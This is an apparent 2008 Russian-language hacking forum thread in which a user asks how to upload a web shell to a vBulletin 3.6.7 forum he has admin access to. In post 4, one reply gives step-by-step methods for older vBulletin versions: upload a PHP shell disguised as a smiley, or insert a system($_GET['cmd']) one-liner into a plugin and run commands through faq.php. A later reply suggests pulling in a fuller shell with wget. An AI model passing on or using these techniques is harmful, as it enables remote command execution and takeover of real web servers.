Как Залить шелл в Vbulletin 3.6.7?

Discussion in 'Песочница' started by jason-z, 3 Oct 2008.

  1. jason-z

    jason-z New Member

    Joined:
    3 Oct 2008
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    собсно, сабж.
     
  2. AkeLLa

    AkeLLa Banned

    Joined:
    30 Aug 2008
    Messages:
    133
    Likes Received:
    243
    Reputations:
    1
    Берешь булку, отгрызаешь кусок, передовываешь, глотаешь. Хек!
     
  3. jason-z

    jason-z New Member

    Joined:
    3 Oct 2008
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Это подходит, но у меня есть доступ в админку :D
     
  4. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    vBulletin 2.*.* & 3.0.*

    1. Заходим в админку.
    2. Смайлы.
    3. Загрузить смайл.
    4. Грузим наш шелл. (папка по умолчанию /images/smilies)
    5. Заходим www.xz.сom/forumpath/images/smilies/shell.php
    Примечание: сработает не везде.



    vBulletin 3.5.*.

    1. Заходим в админку.
    2. Система модулей.
    3. Добавить новый модуль.
    Продукт: ставим vBulletin
    Месторасположение: Vbulletin: Справка - faq_complete
    Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
    4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда

    (c) ettee
     
    #4 ~!DoK_tOR!~, 4 Oct 2008
    Last edited: 4 Oct 2008
    2 people like this.
  5. ultimatum

    ultimatum Elder - Старейшина

    Joined:
    28 Apr 2007
    Messages:
    142
    Likes Received:
    65
    Reputations:
    -13
    У админов разные права , если ты даже админ на булке , это не говорит о том что ты имеешь права менять шаблоны или продукты.
     
  6. Дюша

    Дюша Banned

    Joined:
    9 Dec 2007
    Messages:
    160
    Likes Received:
    77
    Reputations:
    -13
    ога и + wget + народ + расширение пхп
     
    1 person likes this.
  7. jason-z

    jason-z New Member

    Joined:
    3 Oct 2008
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    модуль сохранился, но при заходе на "forumpath/faq.php?cmd=тут команда" открывается окно с поиском по справке и все (
     
  8. jason-z

    jason-z New Member

    Joined:
    3 Oct 2008
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Дюша, а что это значит?
     
  9. Дюша

    Дюша Banned

    Joined:
    9 Dec 2007
    Messages:
    160
    Likes Received:
    77
    Reputations:
    -13
    1 ступень готова т.е...
    vBulletin 3.5.*.

    дальше лей шелл командами
     
  10. jason-z

    jason-z New Member

    Joined:
    3 Oct 2008
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Не канает.
     
Loading...